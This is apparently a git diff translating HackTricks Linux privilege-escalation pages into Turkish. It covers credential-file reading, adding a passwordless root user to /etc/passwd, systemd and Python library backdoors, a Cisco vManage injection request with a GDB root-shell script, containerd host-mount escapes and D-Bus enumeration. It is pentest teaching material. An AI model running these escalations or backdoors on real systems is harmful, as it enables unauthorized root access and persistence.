dosya veya `/etc/ld.so.conf.d/*.conf` içindeki yapılandırma dosyası içindeki herhangi bir klasör, yetki yükseltme gerçekleştirebilir.\ Aşağıdaki sayfada **bu yanlış yapılandırmayı nasıl istismar edeceğinize** bir göz atın: {{#ref}} @@ -1093,7 +1093,7 @@ screen -x [user]/[session id] ``` ## tmux oturumlarının ele geçirilmesi -Bu, **eski tmux sürümleriyle** ilgili bir sorundu. Bir ayrıcalıksız kullanıcı olarak root tarafından oluşturulan bir tmux (v2.1) oturumunu ele geçiremedim. +Bu, **eski tmux sürümleriyle** ilgili bir sorundu. Bir normal kullanıcı olarak root tarafından oluşturulan bir tmux (v2.1) oturumunu ele geçiremedim. **tmux oturumlarını listele** ```bash @@ -1120,7 +1120,7 @@ Check **Valentine box from HTB** for an example. ### Debian OpenSSL Predictable PRNG - CVE-2008-0166 Eylül 2006 ile 13 Mayıs 2008 arasında Debian tabanlı sistemlerde (Ubuntu, Kubuntu, vb.) üretilen tüm SSL ve SSH anahtarları bu hatadan etkilenebilir.\ -Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **yalnızca 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) +Bu hata, bu işletim sistemlerinde yeni bir ssh anahtarı oluşturulurken meydana gelir, çünkü **sadece 32,768 varyasyon mümkündü**. Bu, tüm olasılıkların hesaplanabileceği anlamına gelir ve **ssh genel anahtarına sahip olduğunuzda, karşılık gelen özel anahtarı arayabilirsiniz**. Hesaplanan olasılıkları burada bulabilirsiniz: [https://github.com/g0tmi1k/debian-ssh](https://github.com/g0tmi1k/debian-ssh) ### SSH İlginç yapılandırma değerleri @@ -1147,7 +1147,7 @@ Bu yapılandırma, "**testusername**" kullanıcısının **özel** anahtarıyla ### ForwardAgent/AllowAgentForwarding -SSH ajan yönlendirmesi, **şifre olmadan** anahtarların sunucunuzda durması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh ile **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz. +SSH ajan yönlendirmesi, **şifreli olmayan** anahtarların sunucunuzda kalması yerine **yerel SSH anahtarlarınızı kullanmanıza** olanak tanır. Böylece, ssh üzerinden **bir ana bilgisayara** **atlayabilir** ve oradan **başka bir** ana bilgisayara **atlayarak** **ilk ana bilgisayarınızdaki** **anahtarı** kullanabilirsiniz. Bu seçeneği `$HOME/.ssh.config` dosyasında şu şekilde ayarlamanız gerekir: ``` @@ -1184,7 +1184,7 @@ cat /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null #Shadow equivalent files cat /etc/shadow /etc/shadow- /etc/shadow~ /etc/gshadow /etc/gshadow- /etc/master.passwd /etc/spwd.db /etc/security/opasswd 2>/dev/null ``` -Bazen **şifre hash'lerini** `/etc/passwd` (veya eşdeğeri) dosyası içinde bulabilirsiniz. +Bazen **şifre karma** değerlerini `/etc/passwd` (veya eşdeğeri) dosyası içinde bulabilirsiniz. ```bash grep -v '^[^:]*:[x\*]' /etc/passwd /etc/pwd.db /etc/master.passwd /etc/group 2>/dev/null ``` @@ -1210,7 +1210,7 @@ UYARI: mevcut makinenin güvenliğini azaltabilirsiniz. echo 'dummy::0:0::/root:/bin/bash' >>/etc/passwd su - dummy ``` -NOT: BSD platformlarında `/etc/passwd` dosyası `/etc/pwd.db` ve `/etc/master.passwd` konumunda bulunur, ayrıca `/etc/shadow` dosyası `/etc/spwd.db` olarak yeniden adlandırılmıştır. +NOT: BSD platformlarında `/etc/passwd` `/etc/pwd.db` ve `/etc/master.passwd` konumundadır, ayrıca `/etc/shadow` `/etc/spwd.db` olarak yeniden adlandırılmıştır. Bazı **hassas dosyalara yazıp yazamayacağınızı** kontrol etmelisiniz. Örneğin, bazı **hizmet yapılandırma dosyalarına** yazabilir misiniz? ```bash @@ -1223,7 +1223,7 @@ ExecStart=/path/to/backdoor User=root Group=root ``` -Arka kapınız, tomcat bir sonraki kez başlatıldığında çalıştırılacaktır. +Arka kapınız bir sonraki tomcat başlatıldığında çalıştırılacaktır. ### Klasörleri Kontrol Et @@ -1288,7 +1288,7 @@ find /var /etc /bin /sbin /home /usr/local/bin /usr/local/sbin /usr/bin /usr/gam ### Loglar Logları okuyabiliyorsanız, **içlerinde ilginç/gizli bilgiler bulabilirsiniz**. Log ne kadar garip olursa, o kadar ilginç olacaktır (muhtemelen).\ -Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, **denetim logları içinde şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). +Ayrıca, bazı "**kötü**" yapılandırılmış (arka kapılı?) **denetim logları**, bu yazıda açıklandığı gibi, denetim logları içinde **şifreleri kaydetmenize** izin verebilir: [https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/](https://www.redsiege.com/blog/2019/05/logging-passwords-on-linux/). ```bash aureport --tty | grep -E "su |sudo " | sed -E "s,su|sudo,${C}[1;31m&${C}[0m,g" grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null @@ -1306,16 +1306,16 @@ grep -RE 'comm="su"|comm="sudo"' /var/log* 2>/dev/null ~/.zlogin #zsh shell ~/.zshrc #zsh shell ``` -### Genel Kimlik Bilgileri Arama/Regex +### Genel Krediler Arama/Regex -Ayrıca, **adında** veya **içeriğinde** "**password**" kelimesini içeren dosyaları kontrol etmeli ve ayrıca günlüklerde IP'ler ve e-postalar veya hash regex'lerini kontrol etmelisiniz.\ +Ayrıca, **adı** veya **içeriği** içinde "**password**" kelimesini içeren dosyaları kontrol etmeli ve ayrıca günlüklerde IP'ler ve e-postalar veya hash regex'lerini kontrol etmelisiniz.\ Bunların nasıl yapılacağını burada listelemeyeceğim ama ilgileniyorsanız, [**linpeas**](https://github.com/carlospolop/privilege-escalation-awesome-scripts-suite/blob/master/linPEAS/linpeas.sh) tarafından yapılan son kontrolleri kontrol edebilirsiniz. ## Yazılabilir dosyalar ### Python kütüphanesi ele geçirme -Bir python betiğinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python betiğinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). +Bir python scriptinin **nereden** çalıştırılacağını biliyorsanız ve o klasöre **yazabiliyorsanız** veya **python kütüphanelerini değiştirebiliyorsanız**, OS kütüphanesini değiştirebilir ve arka kapı ekleyebilirsiniz (python scriptinin çalıştırılacağı yere yazabiliyorsanız, os.py kütüphanesini kopyalayıp yapıştırın). Kütüphaneyi **arka kapılamak** için os.py kütüphanesinin sonuna aşağıdaki satırı ekleyin (IP ve PORT'u değiştirin): ```python @@ -1332,7 +1332,7 @@ Güvenlik açığı hakkında daha ayrıntılı bilgi bu sayfada bulunabilir: [h Bu güvenlik açığını [**logrotten**](https://github.com/whotwagner/logrotten) ile istismar edebilirsiniz. -Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebildiğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinklerle değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. +Bu güvenlik açığı, [**CVE-2016-1247**](https://www.cvedetails.com/cve/CVE-2016-1247/) **(nginx günlükleri)** ile çok benzerlik göstermektedir, bu nedenle günlükleri değiştirebileceğinizi bulduğunuzda, bu günlükleri yöneten kişiyi kontrol edin ve günlükleri simlinklerle değiştirerek ayrıcalıkları yükseltip yükseltemeyeceğinizi kontrol edin. ### /etc/sysconfig/network-scripts/ (Centos/Redhat) @@ -1342,7 +1342,7 @@ Herhangi bir nedenle, bir kullanıcı _/etc/sysconfig/network-scripts_ dizinine Ağ betikleri, örneğin _ifcg-eth0_, ağ bağlantıları için kullanılır. Tam olarak .INI dosyaları gibi görünürler. Ancak, Linux'ta Network Manager (dispatcher.d) tarafından \~sourced\~ edilirler. -Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şey root olarak çalıştırılır** anlamına gelir. +Benim durumumda, bu ağ betiklerinde `NAME=` ataması doğru bir şekilde işlenmemektedir. Eğer isimde **boşluk varsa, sistem boşluktan sonraki kısmı çalıştırmaya çalışır**. Bu, **ilk boşluktan sonraki her şeyin root olarak çalıştırıldığı** anlamına gelir. Örneğin: _/etc/sysconfig/network-scripts/ifcfg-1337_ ```bash @@ -1352,9 +1352,9 @@ DEVICE=eth0 ``` ### **init, init.d, systemd ve rc.d** -Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'ler** barındırır, bu da **klasik Linux servis yönetim sistemidir**. Bu script'ler, servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `yeniden yüklemek` için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. +Dizin `/etc/init.d`, **System V init (SysVinit)** için **script'lerin** bulunduğu yerdir, bu **klasik Linux servis yönetim sistemi**dir. Bu script'ler servisleri `başlatmak`, `durdurmak`, `yeniden başlatmak` ve bazen `reload` etmek için kullanılır. Bunlar doğrudan veya `/etc/rc?.d/` dizininde bulunan sembolik bağlantılar aracılığıyla çalıştırılabilir. Redhat sistemlerinde alternatif bir yol `/etc/rc.d/init.d`'dir. -Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu da Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimidir**, servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. +Diğer yandan, `/etc/init` **Upstart** ile ilişkilidir, bu Ubuntu tarafından tanıtılan daha yeni bir **servis yönetimi**dir ve servis yönetim görevleri için yapılandırma dosyaları kullanır. Upstart'a geçişe rağmen, SysVinit script'leri hala Upstart yapılandırmaları ile birlikte kullanılmaktadır çünkü Upstart'ta bir uyumluluk katmanı vardır. **systemd**, modern bir başlatma ve servis yöneticisi olarak ortaya çıkar, talep üzerine daemon başlatma, otomatik montaj yönetimi ve sistem durumu anlık görüntüleri gibi gelişmiş özellikler sunar. Dosyaları dağıtım paketleri için `/usr/lib/systemd/` ve yönetici değişiklikleri için `/etc/systemd/system/` dizinlerine organize eder, sistem yönetim sürecini kolaylaştırır. @@ -1396,7 +1396,7 @@ cisco-vmanage.md **Unix Yetki Yükseltme Kontrolü:** [http://pentestmonkey.net/tools/audit/unix-privesc-check](http://pentestmonkey.net/tools/audit/unix-privesc-check)\ **Linux Yetki Kontrol Aracı:** [www.securitysift.com/download/linuxprivchecker.py](http://www.securitysift.com/download/linuxprivchecker.py)\ **BeeRoot:** [https://github.com/AlessandroZ/BeRoot/tree/master/Linux](https://github.com/AlessandroZ/BeRoot/tree/master/Linux)\ -**Kernelpop:** Linux ve MAC'te kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ +**Kernelpop:** Linux ve MAC'teki kernel açıklarını listele [https://github.com/spencerdodd/kernelpop](https://github.com/spencerdodd/kernelpop)\ **Mestaploit:** _**multi/recon/local_exploit_suggester**_\ **Linux Exploit Önerici:** [https://github.com/mzet-/linux-exploit-suggester](https://github.com/mzet-/linux-exploit-suggester)\ **EvilAbigail (fiziksel erişim):** [https://github.com/GDSSecurity/EvilAbigail](https://github.com/GDSSecurity/EvilAbigail)\ diff --git a/src/linux-hardening/privilege-escalation/cisco-vmanage.md b/src/linux-hardening/privilege-escalation/cisco-vmanage.md index d140dcd5a..1b093614d 100644 --- a/src/linux-hardening/privilege-escalation/cisco-vmanage.md +++ b/src/linux-hardening/privilege-escalation/cisco-vmanage.md @@ -4,18 +4,15 @@ ## Path 1 -(Example from [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html)) - -After digging a little through some [documentation](http://66.218.245.39/doc/html/rn03re18.html) related to `confd` and the different binaries (accessible with an account on the Cisco website), we found that to authenticate the IPC socket, it uses a secret located in `/etc/confd/confd_ipc_secret`: +(Örnek [https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html](https://www.synacktiv.com/en/publications/pentesting-cisco-sd-wan-part-1-attacking-vmanage.html) adresinden) +`confd` ve Cisco web sitesinde bir hesapla erişilebilen farklı ikili dosyalarla ilgili bazı [belgeleri](http://66.218.245.39/doc/html/rn03re18.html) biraz araştırdıktan sonra, IPC soketini kimlik doğrulamak için `/etc/confd/confd_ipc_secret` konumunda bulunan bir gizli anahtar kullandığını bulduk: ``` vmanage:~$ ls -al /etc/confd/confd_ipc_secret -rw-r----- 1 vmanage vmanage 42 Mar 12 15:47 /etc/confd/confd_ipc_secret ``` - -Remember our Neo4j instance? It is running under the `vmanage` user's privileges, thus allowing us to retrieve the file using the previous vulnerability: - +Neo4j örneğimizi hatırlıyor musunuz? `vmanage` kullanıcısının ayrıcalıkları altında çalışıyor, bu da bize önceki zafiyeti kullanarak dosyayı alma imkanı tanıyor: ``` GET /dataservice/group/devices?groupId=test\\\'<>\"test\\\\\")+RETURN+n+UNION+LOAD+CSV+FROM+\"file:///etc/confd/confd_ipc_secret\"+AS+n+RETURN+n+//+' HTTP/1.1 @@ -27,9 +24,7 @@ Host: vmanage-XXXXXX.viptela.net "data":[{"n":["3708798204-3215954596-439621029-1529380576"]}]} ``` - -The `confd_cli` program does not support command line arguments but calls `/usr/bin/confd_cli_user` with arguments. So, we could directly call `/usr/bin/confd_cli_user` with our own set of arguments. However it's not readable with our current privileges, so we have to retrieve it from the rootfs and copy it using scp, read the help, and use it to get the shell: - +`confd_cli` programı komut satırı argümanlarını desteklemiyor, ancak `/usr/bin/confd_cli_user`'ı argümanlarla çağırıyor. Bu nedenle, kendi argüman setimizle doğrudan `/usr/bin/confd_cli_user`'ı çağırabiliriz. Ancak mevcut ayrıcalıklarımızla okunabilir değil, bu yüzden onu rootfs'ten alıp scp kullanarak kopyalamamız, yardımını okumamız ve shell almak için kullanmamız gerekiyor: ``` vManage:~$ echo -n "3708798204-3215954596-439621029-1529380576" > /tmp/ipc_secret @@ -47,15 +42,13 @@ vManage:~# id uid=0(root) gid=0(root) groups=0(root) ``` - ## Path 2 (Example from [https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77](https://medium.com/walmartglobaltech/hacking-cisco-sd-wan-vmanage-19-2-2-from-csrf-to-remote-code-execution-5f73e2913e77)) -The blog¹ by the synacktiv team described an elegant way to get a root shell, but the caveat is it requires getting a copy of the `/usr/bin/confd_cli_user` which is only readable by root. I found another way to escalate to root without such hassle. - -When I disassembled `/usr/bin/confd_cli` binary, I observed the following: +Synacktiv ekibinin blogu¹, bir root shell elde etmenin şık bir yolunu tanımladı, ancak dezavantajı, yalnızca root tarafından okunabilen `/usr/bin/confd_cli_user` dosyasının bir kopyasını almayı gerektiriyor. Böyle bir zorluk olmadan root'a yükselmenin başka bir yolunu buldum. +`/usr/bin/confd_cli` ikili dosyasını çözdüğümde, aşağıdakileri gözlemledim: ``` vmanage:~$ objdump -d /usr/bin/confd_cli … snipped … @@ -84,46 +77,40 @@ vmanage:~$ objdump -d /usr/bin/confd_cli 4016c4: e8 d7 f7 ff ff callq 400ea0 <*ABS*+0x32e9880f0b@plt> … snipped … ``` - -When I run “ps aux”, I observed the following (_note -g 100 -u 107_) - +“ps aux” komutunu çalıştırdığımda, aşağıdakileri gözlemledim (_not -g 100 -u 107_) ``` vmanage:~$ ps aux … snipped … root 28644 0.0 0.0 8364 652 ? Ss 18:06 0:00 /usr/lib/confd/lib/core/confd/priv/cmdptywrapper -I 127.0.0.1 -p 4565 -i 1015 -H /home/neteng -N neteng -m 2232 -t xterm-256color -U 1358 -w 190 -h 43 -c /home/neteng -g 100 -u 1007 bash … snipped … ``` +“confd_cli” programının, oturum açmış kullanıcıdan topladığı kullanıcı kimliği ve grup kimliğini “cmdptywrapper” uygulamasına ilettiğini varsaydım. -I hypothesized the “confd_cli” program passes the user ID and group ID it collected from the logged in user to the “cmdptywrapper” application. +İlk denemem “cmdptywrapper”ı doğrudan çalıştırmak ve ona `-g 0 -u 0` sağlamak oldu, ancak başarısız oldu. Görünüşe göre bir dosya tanımlayıcısı (-i 1015) bir yerde oluşturulmuş ve bunu taklit edemiyorum. -My first attempt was to run the “cmdptywrapper” directly and supplying it with `-g 0 -u 0`, but it failed. It appears a file descriptor (-i 1015) was created somewhere along the way and I cannot fake it. +Synacktiv’in blogunda belirtildiği gibi (son örnek), `confd_cli` programı komut satırı argümanlarını desteklemiyor, ancak bir hata ayıklayıcı ile bunu etkileyebilirim ve şans eseri GDB sistemde mevcut. -As mentioned in synacktiv’s blog(last example), the `confd_cli` program does not support command line argument, but I can influence it with a debugger and fortunately GDB is included on the system. - -I created a GDB script where I forced the API `getuid` and `getgid` to return 0. Since I already have “vmanage” privilege through the deserialization RCE, I have permission to read the `/etc/confd/confd_ipc_secret` directly. +API `getuid` ve `getgid`'in 0 döndürmesini sağladığım bir GDB scripti oluşturdum. Zaten deserialization RCE aracılığıyla “vmanage” ayrıcalığına sahip olduğum için, `/etc/confd/confd_ipc_secret` dosyasını doğrudan okuma iznim var. root.gdb: - ``` set environment USER=root define root - finish - set $rax=0 - continue +finish +set $rax=0 +continue end break getuid commands - root +root end break getgid commands - root +root end run ``` - -Console Output: - +Konsol Çıktısı: ``` vmanage:/tmp$ gdb -x root.gdb /usr/bin/confd_cli GNU gdb (GDB) 8.0.1 @@ -157,5 +144,4 @@ root uid=0(root) gid=0(root) groups=0(root) bash-4.4# ``` - {{#include ../../banners/hacktricks-training.md}} diff --git a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md index 74f452daf..fe48817e3 100644 --- a/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/containerd-ctr-privilege-escalation.md @@ -1,49 +1,41 @@ -# Containerd (ctr) Privilege Escalation +# Containerd (ctr) Yetki Yükseltme {{#include ../../banners/hacktricks-training.md}} -## Basic information +## Temel bilgiler -Go to the following link to learn **what is containerd** and `ctr`: +**containerd** ve `ctr` hakkında bilgi almak için aşağıdaki bağlantıya gidin: {{#ref}} ../../network-services-pentesting/2375-pentesting-docker.md {{#endref}} -## PE 1 - -if you find that a host contains the `ctr` command: +## YÜ 1 +Eğer bir hostun `ctr` komutunu içerdiğini bulursanız: ```bash which ctr /usr/bin/ctr ``` - -You can list the images: - +Görüntüleri listeleyebilirsiniz: ```bash ctr image list REF TYPE DIGEST SIZE PLATFORMS LABELS registry:5000/alpine:latest application/vnd.docker.distribution.manifest.v2+json sha256:0565dfc4f13e1df6a2ba35e8ad549b7cb8ce6bccbc472ba69e3fe9326f186fe2 100.1 MiB linux/amd64 - registry:5000/ubuntu:latest application/vnd.docker.distribution.manifest.v2+json sha256:ea80198bccd78360e4a36eb43f386134b837455dc5ad03236d97133f3ed3571a 302.8 MiB linux/amd64 - ``` - -And then **run one of those images mounting the host root folder to it**: - +Ve ardından **bu görüntülerden birini ana makine kök klasörünü ona monte ederek çalıştırın**: ```bash ctr run --mount type=bind,src=/,dst=/,options=rbind -t registry:5000/ubuntu:latest ubuntu bash ``` - ## PE 2 -Run a container privileged and escape from it.\ -You can run a privileged container as: - +Bir konteyneri ayrıcalıklı olarak çalıştırın ve ondan kaçın.\ +Ayrıcalıklı bir konteyneri şu şekilde çalıştırabilirsiniz: ```bash - ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash +ctr run --privileged --net-host -t registry:5000/modified-ubuntu:latest ubuntu bash ``` - -Then you can use some of the techniques mentioned in the following page to **escape from it abusing privileged capabilities**: +Sonra, **ayrılmış yetenekleri kötüye kullanarak ondan kurtulmak için** aşağıdaki sayfada belirtilen bazı teknikleri kullanabilirsiniz: {{#ref}} docker-security/ diff --git a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md index 5cf9f9815..2c748b498 100644 --- a/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md +++ b/src/linux-hardening/privilege-escalation/d-bus-enumeration-and-command-injection-privilege-escalation.md @@ -4,36 +4,33 @@ ## **GUI enumeration** -D-Bus is utilized as the inter-process communications (IPC) mediator in Ubuntu desktop environments. On Ubuntu, the concurrent operation of several message buses is observed: the system bus, primarily utilized by **privileged services to expose services relevant across the system**, and a session bus for each logged-in user, exposing services relevant only to that specific user. The focus here is primarily on the system bus due to its association with services running at higher privileges (e.g., root) as our objective is to elevate privileges. It is noted that D-Bus's architecture employs a 'router' per session bus, which is responsible for redirecting client messages to the appropriate services based on the address specified by the clients for the service they wish to communicate with. +D-Bus, Ubuntu masaüstü ortamlarında süreçler arası iletişim (IPC) arabulucusu olarak kullanılmaktadır. Ubuntu'da, birkaç mesaj otobüsünün eşzamanlı çalışması gözlemlenmektedir: **sistem otobüsü**, esasen **sistem genelinde ilgili hizmetleri sergilemek için ayrıcalıklı hizmetler tarafından kullanılan** ve her giriş yapan kullanıcı için yalnızca o kullanıcıya özgü hizmetleri sergileyen bir oturum otobüsü. Buradaki odak, ayrıcalıkları yükseltme amacımız olduğundan, daha yüksek ayrıcalıklarla (örneğin, root) çalışan hizmetlerle ilişkisi nedeniyle esasen sistem otobüsüne yöneliktir. D-Bus'un mimarisinin, istemcilerin iletişim kurmak istedikleri hizmet için belirttikleri adrese göre istemci mesajlarını uygun hizmetlere yönlendirmekten sorumlu bir 'yönlendirici' kullandığı belirtilmektedir. -Services on D-Bus are defined by the **objects** and **interfaces** they expose. Objects can be likened to class instances in standard OOP languages, with each instance uniquely identified by an **object path**. This path, akin to a filesystem path, uniquely identifies each object exposed by the service. A key interface for research purposes is the **org.freedesktop.DBus.Introspectable** interface, featuring a singular method, Introspect. This method returns an XML representation of the object's supported methods, signals, and properties, with a focus here on methods while omitting properties and signals. - -For communication with the D-Bus interface, two tools were employed: a CLI tool named **gdbus** for easy invocation of methods exposed by D-Bus in scripts, and [**D-Feet**](https://wiki.gnome.org/Apps/DFeet), a Python-based GUI tool designed to enumerate the services available on each bus and to display the objects contained within each service. +D-Bus üzerindeki hizmetler, sergiledikleri **nesneler** ve **arayüzler** ile tanımlanır. Nesneler, standart OOP dillerindeki sınıf örneklerine benzetilebilir; her örnek, bir **nesne yolu** ile benzersiz bir şekilde tanımlanır. Bu yol, bir dosya sistemi yoluna benzer şekilde, hizmet tarafından sergilenen her nesneyi benzersiz bir şekilde tanımlar. Araştırma amaçları için önemli bir arayüz, **org.freedesktop.DBus.Introspectable** arayüzüdür ve tek bir yöntemi, Introspect'i içerir. Bu yöntem, nesnenin desteklediği yöntemlerin, sinyallerin ve özelliklerin XML temsiline döner; burada yöntemlere odaklanılmakta, özellikler ve sinyaller hariç tutulmaktadır. +D-Bus arayüzü ile iletişim kurmak için iki araç kullanılmıştır: D-Bus tarafından sergilenen yöntemlerin betiklerde kolayca çağrılmasını sağlamak için **gdbus** adlı bir CLI aracı ve her otobüsteki mevcut hizmetleri listelemek ve her hizmetteki nesneleri görüntülemek için tasarlanmış Python tabanlı bir GUI aracı olan [**D-Feet**](https://wiki.gnome.org/Apps/DFeet). ```bash sudo apt-get install d-feet ``` - ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-21.png) ![https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png](https://unit42.paloaltonetworks.com/wp-content/uploads/2019/07/word-image-22.png) -In the first image services registered with the D-Bus system bus are shown, with **org.debin.apt** specifically highlighted after selecting the System Bus button. D-Feet queries this service for objects, displaying interfaces, methods, properties, and signals for chosen objects, seen in the second image. Each method's signature is also detailed. +İlk resimde D-Bus sistem otobüsüne kaydedilen hizmetler gösterilmektedir, **org.debin.apt** özellikle Sistem Otobüsü butonuna tıklandıktan sonra vurgulanmıştır. D-Feet bu hizmetten nesneleri sorgular, seçilen nesneler için arayüzleri, yöntemleri, özellikleri ve sinyalleri gösterir, bu ikinci resimde görülmektedir. Her yöntemin imzası da detaylandırılmıştır. -A notable feature is the display of the service's **process ID (pid)** and **command line**, useful for confirming if the service runs with elevated privileges, important for research relevance. +Dikkate değer bir özellik, hizmetin **işlem kimliği (pid)** ve **komut satırı** bilgilerini göstermesidir; bu, hizmetin yükseltilmiş ayrıcalıklarla çalışıp çalışmadığını doğrulamak için faydalıdır, araştırma açısından önemlidir. -**D-Feet also allows method invocation**: users can input Python expressions as parameters, which D-Feet converts to D-Bus types before passing to the service. +**D-Feet ayrıca yöntem çağrısı yapmaya da olanak tanır**: kullanıcılar, D-Feet'in hizmete iletmeden önce D-Bus türlerine dönüştürdüğü Python ifadelerini parametre olarak girebilirler. -However, note that **some methods require authentication** before allowing us to invoke them. We will ignore these methods, since our goal is to elevate our privileges without credentials in the first place. +Ancak, **bazı yöntemlerin kimlik doğrulaması gerektirdiğini** unutmayın; bu yöntemleri çağırmamıza izin vermeden önce kimlik doğrulaması yapılması gerekmektedir. Biz bu yöntemleri göz ardı edeceğiz, çünkü amacımız öncelikle kimlik bilgisi olmadan ayrıcalıklarımızı yükseltmektir. -Also note that some of the services query another D-Bus service named org.freedeskto.PolicyKit1 whether a user should be allowed to perform certain actions or not. +Ayrıca, bazı hizmetlerin, bir kullanıcının belirli eylemleri gerçekleştirmesine izin verilip verilmeyeceğini sorgulamak için org.freedeskto.PolicyKit1 adlı başka bir D-Bus hizmetini sorguladığını unutmayın. ## **Cmd line Enumeration** -### List Service Objects - -It's possible to list opened D-Bus interfaces with: +### Hizmet Nesnelerini Listele +Açık D-Bus arayüzlerini listelemek mümkündür: ```bash busctl list #List D-Bus interfaces @@ -57,15 +54,13 @@ org.freedesktop.PolicyKit1 - - - (act org.freedesktop.hostname1 - - - (activatable) - - org.freedesktop.locale1 - - - (activatable) - - ``` +#### Bağlantılar -#### Connections +[Wikipedia'dan:](https://en.wikipedia.org/wiki/D-Bus) Bir süreç bir busa bağlantı kurduğunda, bus bu bağlantıya _benzersiz bağlantı adı_ denilen özel bir bus adı atar. Bu tür bus adları değişmezdir—bağlantı var olduğu sürece değişmeyecekleri garanti edilir—ve daha da önemlisi, bus ömrü boyunca yeniden kullanılamazlar. Bu, o bus'a başka bir bağlantının asla böyle bir benzersiz bağlantı adı almayacağı anlamına gelir, aynı süreç bus'a olan bağlantıyı kapatıp yeni bir tane oluşturursa bile. Benzersiz bağlantı adları, aksi takdirde yasak olan iki nokta üst üste karakteri ile başladıkları için kolayca tanınabilir. -[From wikipedia:](https://en.wikipedia.org/wiki/D-Bus) When a process sets up a connection to a bus, the bus assigns to the connection a special bus name called _unique connection name_. Bus names of this type are immutable—it's guaranteed they won't change as long as the connection exists—and, more importantly, they can't be reused during the bus lifetime. This means that no other connection to that bus will ever have assigned such unique connection name, even if the same process closes down the connection to the bus and creates a new one. Unique connection names are easily recognizable because they start with the—otherwise forbidden—colon character. - -### Service Object Info - -Then, you can obtain some information about the interface with: +### Servis Nesnesi Bilgisi +Sonra, arayüz hakkında bazı bilgileri elde edebilirsiniz: ```bash busctl status htb.oouch.Block #Get info of "htb.oouch.Block" interface @@ -94,54 +89,50 @@ AuditLoginUID=n/a AuditSessionID=n/a UniqueName=:1.3 EffectiveCapabilities=cap_chown cap_dac_override cap_dac_read_search - cap_fowner cap_fsetid cap_kill cap_setgid - cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service - cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock - cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot - cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot - cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config - cap_mknod cap_lease cap_audit_write cap_audit_control - cap_setfcap cap_mac_override cap_mac_admin cap_syslog - cap_wake_alarm cap_block_suspend cap_audit_read +cap_fowner cap_fsetid cap_kill cap_setgid +cap_setuid cap_setpcap cap_linux_immutable cap_net_bind_service +cap_net_broadcast cap_net_admin cap_net_raw cap_ipc_lock +cap_ipc_owner cap_sys_module cap_sys_rawio cap_sys_chroot +cap_sys_ptrace cap_sys_pacct cap_sys_admin cap_sys_boot +cap_sys_nice cap_sys_resource cap_sys_time cap_sys_tty_config +cap_mknod cap_lease cap_audit_write cap_audit_control +cap_setfcap cap_mac_override cap_mac_admin cap_syslog +cap_wake_alarm cap_block_suspend cap_audit_read PermittedCapabilities=cap_chown cap_dac_override 